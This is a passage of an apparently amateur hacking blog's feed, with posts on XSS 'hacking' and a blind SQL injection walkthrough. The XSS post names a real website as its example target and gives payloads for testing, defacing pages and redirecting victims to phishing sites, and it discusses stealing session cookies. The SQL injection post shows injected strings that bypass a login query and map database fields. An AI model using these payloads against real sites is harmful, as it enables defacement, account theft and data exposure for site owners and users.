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&quot; /&gt;&amp;nbsp;&lt;/div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XSS  vulnerabilities occur due to weak  coding of the web applications. Once  the hacker finds this  vulnerability he/she injects malicious  codes(Usually in web forms) to  steal session cookies and later the  hacker uses those cookies to gain  access to sensitive page content. &lt;br /&gt;
Xss Cross Site Scripting may be classified in two types:&lt;br /&gt;
&lt;b&gt;1.&lt;/b&gt;Persistent XSS&lt;br /&gt;
&lt;b&gt;2.&lt;/b&gt;Non Persistent XSS&lt;br /&gt;
In order to demonstrate a XSS attack I will take an example of a website:&lt;br /&gt;
_____________________________________________________________________&lt;br /&gt;
&lt;blockquote&gt;&lt;a href=&quot;http://www.redwrappings.co.in/&quot;&gt;http://www.redwrappings.co.in&lt;/a&gt;&lt;/blockquote&gt;_____________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Checking the venerability &lt;/b&gt;&lt;br /&gt;
The simplest way to check the vulnerability is to enter the following code in the any web form present on the website&lt;br /&gt;
_____________________________________________________________________&lt;br /&gt;
&lt;blockquote&gt;&lt;b&gt;&amp;lt;script&amp;gt;alert(“XSS”)&amp;lt;/script&amp;gt;&lt;/b&gt;&lt;/blockquote&gt;_____________________________________________________________________&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.hungry-hackers.com/wp-content/uploads/2010/09/xss.bmp&quot;&gt;&lt;img alt=&quot;xss cross site scripting&quot; class=&quot;size-full wp-image-1666 aligncenter&quot; src=&quot;http://www.hungry-hackers.com/wp-content/uploads/2010/09/xss.bmp&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Once the attacker inserts the code A dialog box like the below one will appear:&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.hungry-hackers.com/wp-content/uploads/2010/09/xss1.bmp&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-1667 aligncenter&quot; src=&quot;http://www.hungry-hackers.com/wp-content/uploads/2010/09/xss1.bmp&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;Defacement&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Now the attacker has found that the  website is velnerable to an xss attack the attacker can do lots of  damages to the website, The most common thing which the attacker will do  is place his defacement image on that page showing that the website is  hacked, For this purpose he will insert a code similar to the below one:&lt;/div&gt;__________________________________________________________________&amp;nbsp; &lt;br /&gt;
&lt;blockquote&gt;&lt;b&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;IMG SRC=”http://site.com/yourDefaceIMAGE.png”&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/b&gt;&lt;/blockquote&gt;___________________________________________________________________&lt;br /&gt;
Where &lt;b&gt;http://site.com/yourDefaceIMAGE.png &lt;/b&gt;is the defacement image&lt;br /&gt;
&lt;b&gt;Inserting Flash Videos&lt;/b&gt;&lt;br /&gt;
The attacker can also insert flash videos by entering the following code in any web form present on the website&lt;br /&gt;
&lt;b&gt;Redirection&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;The attacker can also redirect the page  to any particular page , In case if the hacker has managed to find XSS  venerability in the a website like paypal.com or alertpay.com he can  redirect that page to a Phisher Site(Fake login page) where the victim  will loose his password, To redirect a an xssed page to another page the  attacker will insert a code similar to the below one:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;___________________________________________________________________&lt;/div&gt;&lt;blockquote&gt;&lt;b&gt;&amp;lt;script&amp;gt;window.open( “http://www.google.com/” )&amp;lt;/script&amp;gt;&lt;/b&gt;&lt;/blockquote&gt;___________________________________________________________________&amp;nbsp; &lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Stealing Cookies&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Most of the attackers after finding a  website venerable to xss will probably steal victims cookies to gain  access to their account or private data this method is called Session  hijacking, which is a detailed topic and I will be explaining in the  later articles &lt;img alt=&quot;:)&quot; class=&quot;wp-smiley&quot; src=&quot;http://www.hungry-hackers.com/wp-includes/images/smilies/icon_smile.gif&quot; /&gt; &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hope you have learned some XSS ,Feel free to ask if you have any problem regarding the above information&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/7491047846348409115/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/how-to-start-with-xss-hacking.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/7491047846348409115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/7491047846348409115'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/how-to-start-with-xss-hacking.html' title='How to Start with XSS Hacking ?'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-4627037283384810501</id><published>2011-02-18T08:09:00.000-08:00</published><updated>2011-02-18T08:09:08.537-08:00</updated><title type='text'>Cross Site Scripting (XSS) Attack Types</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
XSS comes in three flavors of persistence, duration and damage. From XSSed they are: &lt;br /&gt;
&lt;br /&gt;
Attackers intending to exploit cross-site scripting vulnerabilities  must approach each class of vulnerability differently. &lt;br /&gt;
&lt;h3&gt;Type-0 attack&lt;/h3&gt;&lt;br /&gt;
1. Mallory sends a URL to Alice (via email or another mechanism) of a maliciously constructed web page. &lt;br /&gt;
2. Alice clicks on the link. &lt;br /&gt;
3. The malicious web page&#39;s JavaScript opens a vulnerable HTML page installed locally on Alice&#39;s computer. &lt;br /&gt;
4. The vulnerable HTML page contains JavaScript which executes in Alice&#39;s computer&#39;s local zone. &lt;br /&gt;
5. Mallory&#39;s malicious script now may run commands with the privileges Alice holds on her own computer. &lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Type-1 attack&lt;/h3&gt;&lt;br /&gt;
1. Alice often visits a particular website, which is hosted by  Bob. Bob&#39;s website allows Alice to log in with a username/password pair  and store sensitive information, such as billing information. &lt;br /&gt;
2. Mallory observes that Bob&#39;s website contains a reflected XSS vulnerability. &lt;br /&gt;
3. Mallory crafts a URL to exploit the vulnerability, and sends  Alice an email, making it look as if it came from Bob (ie. the email is  spoofed). &lt;br /&gt;
4. Alice visits the URL provided by Mallory while logged into Bob&#39;s website. &lt;br /&gt;
5. The malicious script embedded in the URL executes in Alice&#39;s  browser, as if it came directly from Bob&#39;s server. The script steals  sensitive information (authentication credentials, billing info, etc)  and sends this to Mallory&#39;s web server without Alice&#39;s knowledge. &lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Type-2 attack&lt;/h3&gt;&lt;br /&gt;
1. Bob hosts a web site which allows users to post messages and other content to the site for later viewing by other members. &lt;br /&gt;
2. Mallory notices that Bob&#39;s website is vulnerable to a type 2 XSS attack. &lt;br /&gt;
3. Mallory posts a message, controversial in nature, which may encourage many other users of the site to view it. &lt;br /&gt;
4. Upon merely viewing the posted message, site users&#39; session  cookies or other credentials could be taken and sent to Mallory&#39;s  webserver without their knowledge. &lt;br /&gt;
5. Later, Mallory logs in as other site users and posts messages on their behalf.... &lt;br /&gt;
&lt;br /&gt;
Please note, the preceding examples are merely a representation of  common methods of exploit and are not meant to encompass all vectors of  attack. &lt;br /&gt;
&lt;br /&gt;
Good video to watch, keeps things interesting, and XSS  vulnerabilities are well worth knowing about, and learning how to defend  against.  &lt;br /&gt;
&lt;br /&gt;
Tags: xssed,xss,cross site scripting,hacking,hack,hacker,vulnerability,info sec,web hacking,web 2.0,fun  &lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/4627037283384810501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/cross-site-scripting-xss-attack-types.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/4627037283384810501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/4627037283384810501'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/cross-site-scripting-xss-attack-types.html' title='Cross Site Scripting (XSS) Attack Types'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-749427249468138653</id><published>2011-02-18T03:41:00.000-08:00</published><updated>2011-02-18T03:44:33.231-08:00</updated><title type='text'>Learn SQL Queries</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAPekPTcC3oTwi67EvAe2e4S1A2x3bslqOJP8VNOEpgFe9SqL5iQrwqC_MbU9SxllGz11Ei4nwdMrU7FpAPtFkqL7BQQr-3Az_NWBfZ6QlMF9mXilxm8S3jKHrvhnv-rhcFYhadSNkUC4/s1600/sqlinjection.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAPekPTcC3oTwi67EvAe2e4S1A2x3bslqOJP8VNOEpgFe9SqL5iQrwqC_MbU9SxllGz11Ei4nwdMrU7FpAPtFkqL7BQQr-3Az_NWBfZ6QlMF9mXilxm8S3jKHrvhnv-rhcFYhadSNkUC4/s1600/sqlinjection.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&quot;SQL Injection&quot; is subset of the an unverified/unsanitized user input vulnerability (&quot;buffer overflows&quot; are a different subset), and the idea is to convince the application to run SQL code that was not intended. If the application is creating SQL strings naively on the fly and then running them, it&#39;s straightforward to create some real surprises. &lt;br /&gt;
We&#39;ll note that this was a somewhat winding road with more than one wrong turn, and others with more experience will certainly have different -- and better -- approaches. But the fact that we were successful does suggest that we were not entirely misguided. &lt;br /&gt;
There have been other papers on SQL injection, including some that are much more detailed, but this one shows the rationale of &lt;b&gt;discovery&lt;/b&gt; as much as the process of &lt;b&gt;exploitation&lt;/b&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;h1 id=&quot;target&quot;&gt;The Target Intranet&lt;/h1&gt;This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a &quot;blind&quot; attack. A bit of poking showed that this server ran Microsoft&#39;s IIS 6 along with ASP.NET, and this suggested that the database was Microsoft&#39;s SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server. &lt;br /&gt;
The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system. &lt;br /&gt;
When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since &lt;b&gt;my&lt;/b&gt; email address is not found, it wasn&#39;t going to send &lt;b&gt;me&lt;/b&gt; anything. &lt;br /&gt;
So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the &quot;broken&quot; input is actually being parsed literally. Bingo. &lt;br /&gt;
We speculate that the underlying SQL code looks something like this: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;i&gt;field&lt;/i&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;$EMAIL&lt;/span&gt;&#39;;
&lt;/pre&gt;Here, &lt;span class=&quot;snip&quot;&gt;$EMAIL&lt;/span&gt; is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don&#39;t know the specific &lt;i&gt;names&lt;/i&gt; of the fields or table involved, but we do know their &lt;i&gt;nature&lt;/i&gt;, and we&#39;ll make some good guesses later. &lt;br /&gt;
When we enter &lt;span class=&quot;snip&quot;&gt;steve@unixwiz.net&#39;&lt;/span&gt; - note the closing quote mark - this yields constructed SQL: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;i&gt;field&lt;/i&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;steve@unixwiz.net&#39;&lt;/span&gt;&#39;;
&lt;/pre&gt;when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application&#39;s internal error-recovery procedures, but it&#39;s usually different from &quot;email address is unknown&quot;. This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation. &lt;br /&gt;
Since the data we&#39;re filling in appears to be in the &lt;b&gt;WHERE&lt;/b&gt; clause, let&#39;s change the nature of that clause &lt;i&gt;in an SQL legal way&lt;/i&gt; and see what happens. By entering &lt;span class=&quot;snip&quot;&gt;anything&#39; OR &#39;x&#39;=&#39;x&lt;/span&gt;, the resulting SQL is: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;i&gt;field&lt;/i&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;anything&#39; OR &#39;x&#39;=&#39;x&lt;/span&gt;&#39;;
&lt;/pre&gt;Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component &lt;b&gt;WHERE&lt;/b&gt; clause into a two-component one, and the &lt;b&gt;&#39;x&#39;=&#39;x&#39;&lt;/b&gt; clause is &lt;b&gt;guaranteed to be true&lt;/b&gt; no matter what the first clause is (there is a better approach for this &quot;always true&quot; part that we&#39;ll touch on later). &lt;br /&gt;
But unlike the &quot;real&quot; query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with: &lt;br /&gt;
&lt;blockquote&gt;&lt;hr /&gt;Your login information has been mailed to &lt;i&gt;random.person@example.com&lt;/i&gt;. &lt;br /&gt;
&lt;hr /&gt;&lt;/blockquote&gt;Our best guess is that it&#39;s the &lt;i&gt;first&lt;/i&gt; record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere. &lt;br /&gt;
We now know that we&#39;re able to manipulate the query to our own ends, though we still don&#39;t know much about the parts of it we cannot see. But we &lt;b&gt;have&lt;/b&gt; observed three different responses to our various inputs: &lt;br /&gt;
&lt;ul&gt;&lt;li&gt; &quot;Your login information has been mailed to &lt;i&gt;email&lt;/i&gt;&quot; &lt;/li&gt;
&lt;li&gt; &quot;We don&#39;t recognize your email address&quot; &lt;/li&gt;
&lt;li&gt; Server error &lt;/li&gt;
&lt;/ul&gt;The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query. &lt;br /&gt;
&lt;h1 id=&quot;map&quot;&gt;Schema field mapping&lt;/h1&gt;The first steps are to guess some field names: we&#39;re reasonably sure that the query includes &quot;email address&quot; and &quot;password&quot;, and there may be things like &quot;US Mail address&quot; or &quot;userid&quot; or &quot;phone number&quot;. We&#39;d dearly love to perform a &lt;b&gt;SHOW TABLE&lt;/b&gt;, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us. &lt;br /&gt;
So we&#39;ll do it in steps. In each case, we&#39;ll show the whole query as we know it, with our own snippets shown specially.  We know that the tail end of the query is a comparison with the email address, so let&#39;s guess &lt;b&gt;email&lt;/b&gt; as the name of the field: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;i&gt;field&lt;/i&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39; AND email IS NULL; --&lt;/span&gt;&#39;;
&lt;/pre&gt;The intent is to use a proposed field name (&lt;b&gt;email&lt;/b&gt;) in the constructed query and find out if the SQL is valid or not. We don&#39;t care about matching the email address (which is why we use a dummy &lt;b&gt;&#39;x&#39;&lt;/b&gt;), and the &lt;b&gt;--&lt;/b&gt; marks the start of an SQL comment. This is an effective way to &quot;consume&quot; the final quote provided by application and not worry about matching them. &lt;br /&gt;
If we get a server error, it means our SQL is malformed and a syntax error was thrown: it&#39;s most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the &quot;email unknown&quot; or &quot;password was sent&quot; response. &lt;br /&gt;
